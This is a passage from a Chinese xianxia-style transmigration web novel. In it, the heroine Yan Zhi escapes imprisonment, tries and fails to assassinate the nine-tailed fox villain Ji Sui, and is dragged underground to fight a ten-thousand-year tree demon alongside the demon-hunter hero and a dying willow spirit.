“哦。”白衣男子在她身侧屈膝蹲下,用扇子挑起她的下巴,“我怎么觉得你这么眼熟呢?”
之后,带了一分笃定,“你就是幽泽林里那个人吧?”
心脏不受控制得狂跳起来,颜芷还是面色镇定地叠好包裹,想要起身离开。
手腕却被不由分说地拽住,男子的手掌冷硬,像上好的凉玉,将她将带着伤口的手指凑近鼻尖,熟悉的血腥味似有若无地飘来,更加证实了心中猜想,惹得纪绥扯出一抹笑,带着调侃之意:“你特意上府找我,难道是专程想来报恩?”
一瞬间,无形的威压袭来,压迫得颜芷喘不上气来。
窒息感四面八方包裹住颜芷,将她困在原地动弹不得。
“报告世子殿下,工部侍郎沈澈来访。”
管家战战兢兢,知道这时出声打断不是时候,可两方都是贵客,他得罪不起。
“沈澈,”是那边的人,纪绥停下动作,站起身,“好啊,让他在前厅等着,我就去见他。”
刚走出几步,他又回望颜芷,嘴角含笑却语气冰冷:“来人,把她关进地牢,别饿死她,等明晚审讯。”
看到世子此番举动,赵管家欲言又止。
世子脾气阴晴不定,此事还是再商议比较好。龙女失踪的事情还可以再拖延下,他这般想着,颤巍巍拿起手帕擦去额头上的汗珠。
*
被关在柴房的第二天,颜芷在心里痛骂了这个狗系统一千零八百次。
你不是说□□能保证绝对不会被认出吗?这是怎么回事?
系统发出滋滋滋的声音,遗憾表示这面具是不会认出,但她身上的血味骗不了人。
指望从系统这里找办法是指望不上了,颜芷叹了口气,看着面前冷掉的馒头和粥,转头看向一边支着脑袋打盹的侍卫。
没想到纪绥那反派狐狸还算说话算话,说不要把她饿死,真的每天一日三餐,派人餐食照送。
可惜他敢送,她还不敢吃呢。颜芷一边腹诽,一边背对着侍卫在身上小心摸索。
幸亏还有之前藏好的干饼可以充饥。这口粮,本来是打算逃跑时吃的。
比起之前牛妖地牢的囚禁,这次的待遇明显好上很多,双手也没被绑住。
她正在避开侍卫眼神寻找干饼,却被一道突兀响起的竹笛声吓得身子一抖,扭头看去。
痛苦的呻吟声传来,刚才还站得板正的侍卫面容扭曲地趴在地上来回打滚。
额头发汗,眼底发黑,身子要不停打滚缓解疼痛,和她那天在厨房发病的症状一样。
没错,果然是虫蛊。
透过监牢的天窗,颜芷看到天空中挂着的半轮残月,透着不正常的血红色。
血月在小说里是一个极其重要的设定,出现时有妖魔力量大增,有的反被吸食妖力,反派九尾狐是后者。
或许能趁这个机会完成任务?有了主意,颜芷不再纠结,拿出还没用完的龙血药瓶,斜倚着监牢栏杆,向不断痛苦呻吟的侍卫说道:“你不好奇为什么我没有痛苦倒下吗?明明我也是被招进来
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服用过蛊虫虫毒的丫鬟。”
注意力绝大部分被体内游走撕咬的毒虫夺取,侍卫看向眼前的女子说不出话,眼眶泛红,眼睑还不停地抽搐着。
见他如此痛苦,颜芷也不想再废话:“你把监牢钥匙扔过来,我们一手交钱一手交货,我这有对付蛊虫的解药。”
说着,晃了晃手中的白玉瓶。
想起这府邸惩治下人的雷霆手段,他很想开口拒绝,但身体率于脑子先做了选择,快速爬到监牢木头旁边,将带着钥匙的挂链颤抖地交出去,“快!快给我,给我。”
如约交换了解药,感觉到清凉液体丝滑入喉,带走了虫毒的灼热感,侍卫刚才还发热的头脑清醒过来,想反悔抓住颜芷,没想到一股眩晕感袭来。
颜芷这边已经成功将监牢门打开,用力推开想抓她的手,“喂,叫你这边不守承诺!”信任被辜负,她为解气在昏沉过去的侍卫身上轻踢了一脚,又拿走了他身上的佩刀,“开玩笑,我也是有防备心的好不好。”
捡起滚落在一旁的龙血药瓶,颜芷用衣袖拂去上面的灰尘,收入怀中。解药服用后有半个时辰昏迷期,她预判侍卫可能会出尔反尔,所以才提出这笔交易。
在这本小说中,除了天然有主角光环,行侠仗义人设的男女主,她谁都不相信。
*
好不容易从监牢里逃出来,颜芷抬头看了下天,浓墨似的夜色,一轮残月在天空,有限清辉洒下。宅院里那棵大树遮天盖日,暗沉一片,府里的人又都中了虫毒,现在都处在体力不支、不得出入的宵禁阶段。
是个逃跑的好时机,真是天助我也。
她捂紧怀中的药盒,一边顺着月色的余光边小心翼翼地向出口的方向挪移,一边想着捉妖人是否收到龙女求援的信号。
一丝月色呈丝丝缕缕气体状态潜入一个窗户中。颜芷注意到这个古怪现象,顺着逸散方向看去,睡在窗边卧榻不得安稳的熟悉面孔映入眼帘。
纪绥仰面躺在卧榻上,眉心蹙起,双眼紧闭,长长的睫羽不住颤抖,似乎在竭力忍受什么,周身缠绕着丝丝缕缕的红线丝状物。但奇怪的是,他并未做来回翻滚的举动,似乎被什么东西牢牢钉在那里动弹不得。
颜芷僵住脚步,不太敢确定对方这样子到底是噩梦所致,还是真的遭遇困境要死了。
如果真的要死了,现在刺杀,倒是个不可多得的良机。
可万一盲目过去,要死的就是自己了。
正当她犹疑不决时,那缕月色呈烟雾状向他身体奔去,却被红色丝状物吞噬。
抬头又看了下月亮,刚才还残余几分白色的月亮此刻已经变得鲜红。想到原因,颜芷紧锁的眉头舒展,没想到这次血月力量如此之强,恐怕书中无恶不作的九尾狐迎来吞噬完妖物后的最脆弱时刻。
身为上古大妖九尾狐,能吃人避蛊,吸食一切妖力,必然也要承受强大力量带来的相应代价。此时月光薄弱,也阻碍了他想借助月色修炼压制妖力的方法。
要离开的脚步募然顿住。
此时她应该怎么办?
直接回去,改日另寻良策?
踌躇间,颜芷又想起那日系统发布任务的焦急状态,一再强调杀死九尾狐任务为重中之重,促成原书男女主HE反而位列次之。
当然是趁他病,要他命了!
更何况还有龙女给的符隶丹药袋在手,所谓富贵险中求,她必须尽快完成任务。
这么好的机会,下次下手还不知道什么时候。万一等到猴年马月岂不是要一辈子老死在这里?
这可不行,她一定要回到原来的世界。
这世界太过古怪离奇残忍,她也想念出租屋简单温暖的床铺了。只要回去,这些天的事都可以当做一场从未发生过的噩梦。
找出易容玉牌,颜芷默念了句抱歉,脑海里想着龙女的脸,将其轻轻捏碎。霎时间,清冷的女子容貌不见,取而代之的是明艳的笑颜。思及上次失败的教训,又倒空了瓶中剩下的龙血,抹在自己身上。
这下总万无一失了吧。
她偷偷潜入房间,屏息闭气,看到目标人物还是躺在床榻上一动不动。
5. 深夜拜访,有何贵干
颜芷蹑手蹑脚屏息前行。
衣袖里潜藏着的,正是刚才从侍卫那顺来的短刃匕首。她摩挲着那把匕首坚硬的刀鞘,企图从中汲取力量。虽然对方现在处于虚弱状态不假,可她一个凡人之身对上这小说终极反派九尾妖狐,为了避免受伤,需要万般小心才是。
她一边小心翼翼向床榻靠过去,一边观察着对方的动作。
男人仍一动不动地仰面躺在卧榻上,似乎随着月食惩罚加剧,身侧的双手青筋暴起力道大到快要捏碎床板,他脸色不再像刚才那般平静,痛苦神色尽显,不过还是难掩如玉面容。
因痛苦微微蹙起的眉头反而让这皮相平添几分脆弱,像冰天雪地里凭空长出的一树海棠,美得诡谲。
可那张脸越俊美,在颜芷看来就越可恨可厌。
这人心肠如此歹毒,在两人还素不相识的时候,他没有任何缘由就想置自己一个普通路人于死地,可见平常有多作恶累累,凶残暴戾,视人命如草芥,实在该死。
和书评吐槽的一模一样,是个金玉其外败絮其中的怪物。
做好心理建设,颜芷悄悄贴近男人身侧,确保呼吸都静不可闻。
可还没等她摸出匕首,一条白色蓬松的尾巴就无声无息地挡在面前,毛茸硕大的尾巴状似无意在眼前晃过,伴随着男人的低冷声音:“龙姑娘深夜拜访,所为何事?”
那尾巴似乎有什么妖力,让颜芷片刻失神。
她晃晃脑袋,想阻止这突如其来的眩晕感,动作间匕首被转移到更隐蔽的地方,扯出一抹笑,装作无意路过:“我听闻世子病重,只是来看看你。”
她在府里干活时,有打听到这妖狐之前只下令将龙女囚禁在宅内,派人好吃好喝供着,纪府之内还是可以自由活动。只是女主因病体弱不常出门,这样说也不算露出破绽。
龙女之前一直对他冷淡相待,如果此刻表现出关照之意,按小说人设,痴恋女主的反派应该会欣喜若狂。她也好趁这个机会下手。
尾巴的主人这才缓缓睁开眼睛,漂亮的眼眸此刻中间蕴藏着一抹浓烈的血色,像瑰丽无比的血红宝石,眨眼间惊心动魄。
闻言,男子淡淡投来一瞥。
看到深夜造访的“龙女”,自己深爱不得的人的关心,纪绥的反应并不像颜芷想象中那样热烈,反而带着意料之外的冷淡。
看向她的眼神像淬了寒冰,沁入骨头的寒凉。
“你没事就好,我下次再来看你。”见这反派没有预想中那么虚弱,这次刺杀计划应该要失败了,顾忌到面具效果,颜芷只想找借口离开,改日再找办法。
不料在她转身时,暗藏袖中的匕首被一条尾巴顺走,掉在地上,发出咣啷的声响。
强忍着钻心的疼痛,纪绥坐起身来,轻巧的白尾似一道重鞭,将女子挥在地上。
迫人的威压袭来,颜芷半跪在地挣扎不得,一条灵巧的尾巴将匕首捡起来递到手上,纪绥淡淡开口:“人妖殊途,你本就应该明白这个道理。即使杀了我,你也不会和他长久的。”
厌倦了扮演往日温柔人设,受罚的疼痛让他烦躁不堪,纪绥终于卸下面具。他满脸疑惑,把玩着那只匕首,眼底闪过一丝轻慢:“我真是不明白,为什么总要在这种小事上做无力的抗争呢?”
明明是妖族,总做和人类一起结伴天涯的不切实际的梦。要不是为了龙珠,他才懒得在这里和这条龙虚与委蛇。不知道喂进去的那些丹药有没有效果,让她早日生出龙珠,顺便把捉妖师杀了一了百了。
听到这番轻描淡写的发言,颜芷不免有些愤怒:“像你这种无情无义无耻小人,哪懂人间真心可贵。”
她因为熟读研究剧情早就被恶心到了,人家男女主相亲相爱情深义重,在小说里本应该是伉俪情深的美好结局,哪里轮得到他这个表里不一的反派横插插一脚,落得一死一伤的凄惨结局。
油然而生的愤怒太过浓烈,以至于颜芷不能掩饰表情,连带着看他的眼神也带着万般鄙弃,像在盯阴沟里的腐臭淤泥。
察觉到对面女子无比憎恶的眼神,纪绥感到莫名焦躁,之前拼命压制下去的黑气和杀意再度翻涌起来,暴戾感越发沸腾,一瞬间穿过四肢百骸。她知道什么?凭什么这样看他?
他从记事起,狐族被人唾弃,冠上惑世之名。更因当今皇帝不喜,下令所捉妖物,如是狐族一律严惩。龙族藏于深海,深居简出,近些年才现世人间。这种受上天眷顾的种族也配和他谈公平?实在可笑!
一时忘了之前谋划,胸中燥意升起的冲动只有一个念头,杀掉她。
燥热的杀意驱使劝说他将眼前人撕个粉碎。一向多情的眼眸也溢满血色杀戮之气。
就这般想着,纪绥冷笑着收紧了尾巴,蓬松毛绒的尾巴尖像冷硬的铁刃,划过女子白皙脆弱的颈部,鲜血顺着细线似的伤口缓缓流出。
血色瞳孔极快极闪地变化了一下,随后又恢复平静
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。
哈?原来是那个不自量力的凡人?竟然想着来刺杀他?
有意思。
*
展开蓬松的尾巴,将被按压在地上的颜芷就地拉了过来。纪绥舒展姿态,坐在塌上俯身看向她,眼眸中带了几丝兴味:“原来是你啊?”
他单手捏起颜芷的下巴,带着一丝漫不经心,“你真是锲而不舍想杀我啊。可惜,普通的利刃伤不了我。”
话音刚落,锋利的短刃就被尾巴轻轻一甩,不偏不倚地插在对墙的字画上,淡黄宣纸上浅淡地绘着青山流水,山巅之上,一棵苍松傲然挺立,那树枝却仿佛呼之欲出。
剩下的尾巴玩耍似的将跪着的颜芷双手双脚牢牢捆住,让女子动弹不得,还解下了她一直试图拿取的腰间布袋。
接过尾巴递来的布袋,纪绥抖开一看,发现爆破灵符和一些丹药瓶。他一脸失望,没意思地摇摇头,随意将包袱向后掷去,这些东西被扔得四分五裂,在室内发出不小的爆破声。
在两人未发觉时,字画上的树枝被爆破声吓得悄无声息地缩回了画里,从另一个方向出发向二人游去。
一刻钟已过,“龙女”已经恢复原貌,是他见过的清丽模样,看他的眼神和之前一样的倔强。
这个杀意,配上这个眼神,这样才对嘛。
是他熟悉的,卑微弱小的凡人。
盯着眼前的女子,纪绥若有所思,单手支着下巴,状似十分苦恼,语气却十分欠揍:“接下来我该怎么杀你呢?真是勇气可嘉。”正思考着,九条尾巴也渐渐收紧了力度,他本就单薄的白色里衣因为刚才这些动作也变得有些松松垮垮,露出白皙的锁骨。
被尾巴绞得有些呼吸不畅,颜芷拽着缠住她的尾巴,记忆仿佛又回到溺水那天,不要,她绝对不能在这里倒下!
求生欲让她大脑空前转得飞快,努力回忆剧情要点。
她记得有一样东西,是什么来着?杀死这家伙的必胜法宝。
眼神变得模糊之际,在对方松松垮垮的腹部处,看到一个熟悉的星光点点的花纹,好像是某样物什的尾部。
是绝命剪!有救了!
原著中龙女正是用了这个刺了反派一刀,使他身受重伤。按照反派的囚禁龙女却把钥匙藏看守院落的妖狼身上的习惯,按照九尾狐之前藏龙女钥匙的思路,最危险的地方就是最安全的地方,他果然把这东西带在身上。
她一定要拿到这个东西!
6. 横生枝节
挣扎的间隙,努力探出一只手,颜芷伸长胳膊,以迅雷不及掩耳之势飞快将九尾狐胸前衣服扒开,探了进去。
冰凉的细腻手掌穿过丝质里衣和肌肤相贴,从男子的胸腔滑到腹部,似乎在翻找什么东西,所过肌肤之处带起略微痒意。
不曾也不想,从未与别人有如此这般亲密接触。
被眼前女子的无耻流氓行径惊呆了,纪绥一时有些忘了接下来动作。
颜芷来不及留意纪绥的神色,而是眉头紧皱着,直到摸到了那个身前硬物才从白色里衣抽离出来。
找到了!
她欣喜万分,掏出的利刃闪烁着星点花纹,是这个标志没错。绝命剪,九尾狐的天生克星。
生死就在一念之间,不敢耽搁,颜芷抓住时机,毫不犹豫地向九尾狐刺去。
“那好啊,临死前我也要拉个垫背的,”女子手中的剪刀寒芒竖起,电光火石间,轻松利落地穿过九尾狐的尾巴,直逼他心脏而去。
如入无人之境,白刃的寒光一寸一寸没入心脏,带着血月施加的痛苦,让刚才还恢复过来的纪绥有些力不从心。
俊美男子闭嘴不言,胸口的鲜血随着衣服褶皱缓缓流到地上,被地上的枯藤吸收。
吸收到混杂黑气的鲜血的枯藤瞬间变大,匍匐前进着。
颜芷的脖子也被他的一条尾巴紧紧勒住,窒息感渐渐充斥她的鼻腔和肺腑,不由自主喷出一口血,在要滴到地上时被枯藤贪婪卷走。
是牛妖标记的那个人!终于找到目标物的枯藤如同久旱逢甘霖,兴奋地上下点头,它忙不迭招呼身后的同伴,攀爬得更加卖力。
双方僵持不下,小臂粗的枯藤慢慢攀爬上床沿,朝着纪绥和颜芷的方向探去。
随着窗外轰隆隆的声响,闪电乍现,照亮了庭院地面上一道巨大的裂缝,像一道正在增长的难看伤疤。
数条枯藤如游蛇般悄悄潜入,将僵持的二人卷作一团,火急火燎就要往地下拖去。
被枯藤包围成结结实实的球状,二人缠绕在一起,被这突如其来的变化弄得一懵,九尾狐松开对颜芷的控制,反手挥爪破藤。颜芷挥动手中剪刀向枯藤砍去,枯藤纷纷落下,却以比她挥刃的速度更快地重新缠合在一起。像得到不肯放手的玩具,藤蔓们仍旧不死心地将他们往一个方向齐心协力拖着。
纪绥闭目蓄力,想要引动妖力,奈何体内一片死气沉沉,之前压制体内魔性已耗费他多数精力。
到了已经扩张成裂缝的悬崖边,枯藤宛如一个要知道奖赏兴高采烈的小孩子,将被捆得结结实实的两人往悬崖处拽去。
下坠之际,一道熟悉的声音响起,“颜芷姑娘,坚持住,我来救你。”
竟然是捉妖师男主赶来了,他使出法宝将被缠着的二人勾住,用力往上拽,像是和枯枝在做拔河比赛。
“系统,这是怎么回事?”小说男主的出现打乱了颜芷原本的计划,她明明告诉男主一个时辰之后再来。
仿佛看出了她的担忧,捉妖师男主-陆承泽安慰道:“我已经安置好了来接应你的。”托这位恩人的福,他很快找到了龙姑娘,听说龙姑娘说这位好心人被关押起来了,急忙来救她。
一旁的纪绥听到,冷冷看着面前这个女人,没想到名字也是骗他的。
但似乎是不满足于这种无聊的拔河比赛,枯藤分出一根枝条来回挥动,裂缝里冒出更多的枯藤,一瞬间将三人都拉了下去。
裂缝瞬间合上,宽大的庭院里面平静无风,好像什么都没发生过。
*
幽蓝的冥火在墙壁上摇晃,空气中弥漫着一股潮湿的味道,还夹杂着丝丝铁锈的腥味。
不知过了多久,颜芷张开眼睛,发现在一旁的圆形台子上躺着反派
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和男主。洞穴顶上树冠繁茂,不断有绿色的小虫进进出出。下方还是深不见底的湖水,中央的圆形平台上雕刻着纷繁复杂的花纹,呈现出黯淡的蓝色。
捂住剧痛的额头,她有些恍惚,眼前的场景似乎和她刚穿越过来的某一场景似曾相识。
而自己躺在离他们几百米处的杂草堆上,旁边一棵小臂粗的柳树随风摆动,幸好堆叠的杂草减缓了一部分冲击伤,但身上还是隐隐作痛,双腿也有些麻木。
“系统,这是怎么回事?”虽然掉线系统不中用,但目前情况陌生,她也不敢轻举妄动。
她明明记得三个人是同时掉下来的。为什么那两个人在离她那么远的地方。
【报告宿主,受主角光环影响。您作为穿越来的平凡路人,不受重视也是正常的。】
听到脑内冰冷的机械音回复,颜芷有些无语,不过又舒了口气。也不知道这是幸运还是不幸。这个小说世界运气果然是按戏份分配的。
不过,现在剧情发展已经到了烂尾阶段后期,在这里小说作者根本没有任何交代,她并没有什么头绪。
系统又发出无情提醒【请宿主注意当前危险】
察觉到手臂上陌生的触觉,颜芷这才感知到,刚才系统对话时候,旁边的树垂落的一节柳枝已经不急不徐地爬上了右手臂,募地马上要扎破她的血管。
于是一把拽住面前的柳枝条。
这柳枝却宛如活物,不停扭动,上叶子呈锯齿状,在挣扎间割破了颜芷的半截衣袖,露出了前不久刚刚痊愈的伤口。
柳枝见状,当即停止了动作。
一旁垂头的高大柳树瞬间化作人形,不像是邪气四溢的妖怪,反而更像是一个文质彬彬的年轻书生。
书生一把拽过颜芷肩膀上的伤口观察片刻,抬起头盯着颜芷,绿色眼睛发寒:“你身上怎么会有小妹的味道?”
7. 万年树妖
柳树精抓着她的手臂越发用力,狠狠威胁道:“快老实招来,不然把你碎尸万段。”
男人手劲很大,像沉重的铁钳,握得颜芷的手臂隐隐作痛。
威胁她?颜芷向来不吃这一套。
她拼命想甩开柳树精的禁锢,没什么好脸色说道:“这和你无关。”
见眼前女子不吃硬的,柳树妖语气一转,松开她,哀声乞求:“求求你,行行好,告诉我小妹的消息。她是我从小看顾长大的。”他淡绿色的瞳孔有些哀伤,倒映出颜芷失去面具的原脸。
揉了揉发酸的胳膊,颜芷这才意识到,面前的柳树精,可能是小萝卜精口中常提的柳哥哥。
她双手撑着身子,稍稍退开两人间的距离,试探性开口:“你叫什么名字?先前住地是?”
先前在地牢时候,她记得小萝卜妹妹是有听到柳大哥这个字眼。
“在下柳杨,原居田村,求姑娘告知小妹下落,在下定万死不辞......”他语气急切,又说了一些日常。
这倒是和小胡萝卜精说的细节对得上,颜芷的脸色这才和缓下来,将两人之前的遭遇和小萝卜的处境长话短说,补充了句:“她和我说,族里不求你多强大,只希望你早日回家。”
听到这句话,柳杨眼色一亮,又瞬间黯淡下去,双手无奈的垂下,低低呢喃道:“回家吗?可我......好像回不去了。”
他刚说完,抬头看见颜芷准备扶着墙站起来,准备往祭台的方向走。
看了眼掌心开始蔓延的血色黑气纹路,柳树精有些惊慌,拽住她的衣袖警告:“你现在别过去,老大快醒来了,我赶紧帮你躲起来。”
*
纪绥醒来时,发现周围环境陌生,而之前要杀自己的女子不见踪影。
他眯起寒眸,难道对方掉下来后逃跑了?
或者在掉下来的途中灰飞烟灭了?
想到这里还有点遗憾呢,毕竟还从来没见过能活着敢来杀自己第二次的人。
起身扭头瞥见旁边昏迷的陆承泽,纪绥眼带厌恶,将对方压着的半截衣袖利落撕开。他正思索怎么进行下一步计划时,听见了不远处的窃窃私语,循声望去。
漂亮的狐狸眼眯起,挟带了除不悦之外的复杂情绪,说不清是失望还是别的。
原来那女子没死,竟然还在和一个柳树妖在拉拉扯扯,看两人交谈和善的目光,似乎关系不错。
拍了拍身上的尘土,他站起身来,在经过刚才的短暂休息,已经勉强压抑住了体内的黑气。
现在只要想怎么从这个鬼地方出去就行了。
却听得轰隆一阵声响,正如刚才在庭院里听见的雷声。
一棵参天古树从身后的水潭中缓缓升起,青黑色的树皮中缭绕着数不清的黑气,浓密树丛中隐隐可见骷髅人骨,随着树木上升发出叮呤咣啷的声响。
纪绥头顶传来沧桑的老人声音,声如洪钟:“这次没迟到,是不错的补品。有孝心了。”
下一秒,巨大的树枝就劈头盖脸朝他和捉妖人所在方向砸来,两条水桶般的枝干瞬间将两人卷到半空。
下意识反应,纪绥化掌为爪,露出锋利的狐狸指甲,想要撕破禁锢,却发现遭受攻击的树枝虽断裂,但一分二二分三,反而形成更多聚拢之势朝他围堵而来,声音震耳欲聋。
不好,这老树妖的妖力比他估算的还要深厚。
剧烈的打斗声惊动了和树妖交谈的颜芷,看到卷到空中的两人,她意识到当前情况,皱起眉头。
那只九尾狐死了就算了,陆承泽可千万不能死。
于情,捉妖人是为了救她才被连累的,于理,男主死了这小说就成妥妥BE结尾了,她再也无法回家了。
必须想个法子将他们救出去。
该怎么办?怎么办?
这小说情节怎么这么复杂?一个还没解决,又来一个意外。
看似面色淡定,颜芷嘴唇已经不自觉咬出了血。
之前携带的丹药,没有合适的。
冲出去,自己只是一个手无缚鸡之力的凡人,连武功都不会。
这该死的系统现在又没有反应。
看到女子焦急的面容,柳杨知道她救朋友心切,叹了口气,低声道:“没用的,这是吸食人妖精血黑气的万年树精,子孙能化为牛妖。这一带的山川草木都受其控制。你还是趁他还没有发现你快跑吧,也算我对你帮助小妹的报答。”
牛妖?恐怕那之前来找她的藤条就是为此而来。
似乎想到什么,颜芷计上心来,对着老树精叫喊道:“老树精,你不好奇幽泽林的那两名牛妖是谁杀死的吗?”
说着,她亮了亮手里的剪刀。
见居然还有人敢不自量力向他挑衅,老树妖发出哈哈大笑,浑厚声音震得地面嗡嗡响动:“我倒是还没发现这还有一名人类丫头。多谢提醒。”一根粗大枝干向颜芷袭来,在快接近她时被巧妙避开,砸到了一边的石壁上。
发觉这小小凡人并未如预想中轻易地四分五裂,万年树妖大怒,分心接二连三使出更多的树枝甩向她。
一时间,尘土飞扬,幽暗的石壁上出现许多深深的裂缝。
没想到这个瘦弱姑娘如此不要命,柳杨无奈,只好使出锯齿状的柳叶攻击,也砍下不少瘦小的树枝。
“柳杨,你树干硬了?”
昔日唯唯诺诺的手下竟敢背叛自己,万年树妖木魅心生不快,威胁道:“不想回家了?”
他可记得这柳树精求了自己好久要回家,但一直不肯修炼此道才气息微弱,简直不堪一击。现在来掺和什么?
难道也想学凡人戏本里的英雄救美?还是路见不平,拔刀相助?真是可笑。
他说着抽出一根枝干就要将这柳树精消化吸收掉,在强大的同族力量面前,柳树精的抵抗简直就是蚍蜉撼树,不堪一击,很快妖力被抽走,身形开始消散。
眼看柳树精即将丧命,颜芷急中生智高喊,想借此转移老树精的注意力:“之前的地牢是我毁掉的,里面关押的流民和小妖也是我放出来的。”
果然,听到她这番话,刚才还在惩罚手下叛徒的老树精木魅怒气大增,扭头朝自己袭来,他虽然看不上幽泽林的那些残废,但好歹能给自己的偏远肢体补充下能量,谁料全被面前这个人类丫头毁了。一名子孙死前还给自己传话要让报仇。
一条树枝刚刺进颜芷心脏,却又快速抽出,将其掼在地上,还略带嫌弃的两条枝条互相摩擦了一番,像是人类的净手动作。
这个人类心脉不全,也是个残缺品。连给他做餐前小食都咯嘴。木魅不屑嘲讽:“你的心有瑕疵,太肮脏,不要。”一边说着,一边树枝卷上她纤细的脖颈,不想再废话,打算直接勒死这个碍事的人类。
还在死命挣扎的颜芷听到这句话,血气不由得上涌。
她心脏有瑕疵怎么了?谁也不能看轻她。
就这般想着,颜芷用力将剪刀刺进树妖缠绕的枝干上,竟也将粗大枝干割开几个豁口,赢得了一些喘息时间。
没想到这个瘦弱的人
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类竟然如此难缠,树妖木魅看着在和自身枝干战斗的几个小杂碎面露不满,用膳时间快过了,召唤出牛妖子孙,想速战速决。
这时,一道爪印凌空划来,破开了树干,打断了缠斗,是纪绥傲慢出声:“老树精,你这样忽略我,让我很不爽啊。”
他刚使力将体力黑气激发,现在杀意上涌,勉强可以与之一战。
老树妖分了神,看向落地攻击的狐狸崽子,旁边的捉妖人还是昏昏入睡,两条枝干上各长出一个新的分支骤然刺入二人的身体,随后朝着某个方向沉沉道:“这狐妖黑气挺多,但这人类黑气稀薄,两人并非有真心牵绊的情侣关系,你怎么找的?”
颜芷目光游移,看到把自己拉下来的枯藤趴在地上不安地求饶,枯藤抬起藤条又落下,倒真像人类求饶磕头的姿态。
注视着惨叫成灰的枯藤,木魅幽幽道:“已经给过你机会了。废物,连这都做不好。”
他又看向纪绥和捉妖人,语气颇有些嫌弃,“罢了,这狐妖和人类也能凑合着用。可惜不是真心的。”
听到这话,颜芷一边奋力切割着身上密密麻麻的枯树枝干,一边无语心想,这树妖真的是在九尾狐雷点上蹦迪,现在情敌就在九尾狐旁边。
本来九尾狐就苦恋龙女无果,这不是正在往单恋别人的反派心口上撒盐?
这老树精真的嫌自己死的不够快。不对,他是嫌男主死的不够快啊?
这俩人离得那么近,万一九尾狐隔空给男主捅刀子她都看不出来。
想起这,颜芷更着急了,看着源源不断的枝干,不知怎的,竟想到生物课上学到的树木科普知识。死马当作活马医,她放弃将手里刃尖扎进树干的想法,而是从外面缓缓划开,划成一个圈,将树皮剥开。
痛觉由内而外袭来,老树痛得一滞,啪地松开颜芷。连带着卷在半空的陆承泽和纪绥也摔落在地上。九尾狐本就受伤,捂着腹部一时半坐地上直不起身来,而捉妖人也被重重摔在地上。
啊,原来这志怪世界还讲科学。看到这手法奏效,颜芷松了一口气,庆幸道,她记得生物科普书上有说树怕剥皮,这会破坏韧皮部分,使有机养料无法向地下运输,没想到成精的树妖也遵循这一套。简直和现实生活中的老树没什么两样。
这时,陆承泽终于醒来,他环顾四周,发现不远处的颜芷,使出口诀,挥剑斩断了树妖因吃痛袭来的一根枝干。
快步走向这位救命恩人,神色紧张:“颜姑娘,你还好吗?”
“我还好,你快去救下他。”颜芷扶了下因为刚才奋力挣扎刺痛到无力的手臂,扭头望向一旁不断挣扎的柳树精,他已经痛得现出树形,整个身体趋于虚无,绿色灵力不断逸散,被老树吸走,想到这里还不忘补充道:“记得先攻击树妖,沿着树身环形切割最有效。”
啊?对抗树妖,师门从未教过他这种破解办法,也从未在典籍里发现这术法。颜姑娘从哪得来的?
虽然不明所以,但转念一想,她既然能单枪匹马救出龙姑娘,应该知道些什么奇法。
情况紧急,顾不了那么多,陆承泽依言挥剑,密密麻麻们的剑光围着树干切割,水里的树干遭受环形攻击,大片树皮脱落,老树精如同被生生剥皮,当下痛不欲生,暂时失去了攻击能力,也放开了缠着柳杨的枝条。
可柳树精已经奄奄一息,看向她,嘴里有气无力念叨着:“颜芷姑娘,我有东西要交给你。”
捉妖人再次挥剑,缠住柳树精的树干应声而断,施法将柳树精带到了颜芷身侧。
8. 木灵契约
他睁开空蒙的双眼看向颜芷,费力抬起脱力的右手,颤颤巍巍交给她一团白色绒毛,叹了口气:“我应该回不去了,如果你能见到小妹,请把这个交给她。”
柳杨生于淮水之滨,长于青郊之畔,吸收天地灵气,听尽河声鸟鸣,看遍云卷云舒,日子过得很是惬意。
但这样的日子一棵树过久了也很孤独,旁边是阡陌农田,再远十里才是成片树林,周围没有可以说话的同类,直到有一天,一只鸟儿衔着的一粒种子落在了他身侧,慢慢地抽枝发芽。
起初柳杨很兴奋,他以为会是和他一样的同类,也不时利用根系给它引水。
没想到,冒头的却只是一根普通的黄色萝卜。
黄色萝卜精话很多,因为初来人世,时不时会冒出几个让人摸不着头脑的问题,顶着一头乱糟糟的绿色头发一眨不眨的看着他,眼底有着旺盛的求知欲。
他起初觉得很心烦,没想到,后来渐渐竟也熟悉了这种时不时的聒噪,给她答疑解惑。
直到有一天,黑气入侵,村民搬走,农田荒废,听着同片土地上同类的断断续续的哀嚎,柳树精第一次后悔在过去那些日子太过悠闲,没有学会净化法术。得益于常年吸收的天地灵气,他受害不深,但还差一点能化成人形,更没办法帮同伴减轻半分痛苦。
而“乡亲们”,身为灵力更微弱的土地原住民,没有化成人形,根本无法挪移,只能被迫忍受那乌黑的气体侵蚀肢体,直至枯萎。
听常来拜访的鸟妖叽叽喳喳,相隔万里的怀安镇里有位修行万年的老树精,见多识广,没准能解决当下难题。他冒出一个念头,他要走出这片树林,修成一身术法回来拯救大家。
但,在这之前,需要借助大家的一点灵力化成人形。只要一点点。
面对还没化形的父老乡亲,柳杨说出自己的豪情壮志,众人哈哈大笑,嘲笑着他痴人说梦,只有平时看着呆呆傻傻的小胡萝卜精一眨不眨地看着自己,眼神充满坚定:“柳杨哥哥,我相信你。”
然后将自己微薄的灵力分给他。终于修成人形的柳杨一路飘着柳絮打听着拜到了万年树妖门下,想修习净化之术。
但是料想中的术法没学到,反而被迫成为绑架人妖,吸食精血黑气的工具。每当他提出想回家时,万年树妖总是万般推辞。
不知道记忆中叽叽喳喳的小女孩不知道怎么样了。
她现在睡得好不好?汲取水源有没有难处?
他逃跑过,反抗过,后来哀求:“老大,我想回去看看我小妹。”
看向身前低矮的柳树,万年树妖起初还和颜悦色,“等你做完这单就准你回家。”
到慢慢敷衍,“再等等,现在离不开人手。”
到后来的充耳不闻。
柳杨在一次次的承诺中绑来凡人小妖,听他们凄厉痛苦的哀嚎又不忍吸食,将其放走,在暗无天日的地下,没有天地灵气的滋养,天生地长的柳树精很快衰败下去。
终于有一天,他忍不住想要吸食精血和黑气。
枝条缓缓从潮湿阴暗的地穴爬出,嗜血的饥渴和贪欲的渴望战胜了本能。
在第一次试图吸食人血的时候,他透过小孩那双懵懂的眼睛好像看到了萝卜精小妹,纠结之下,放走了那个小孩。
也因为一直没有吸食人妖精血黑气,生命垂危,就这样被遗忘,成为万千树精中的弃子。
都说人死前会有走马灯,难道妖死前也会回顾一生,柳树精恍惚想道。
细想起来,他还是有些遗憾的,可惜没有机会再见到小妹了:“这是我用剩余精血凝结的柳絮团,或许对缓解黑气有帮助。”
这或许是他最后一点能为小妹做的,也是最后一点能为自己证明的。
他没有叛逃,没有不守承诺。
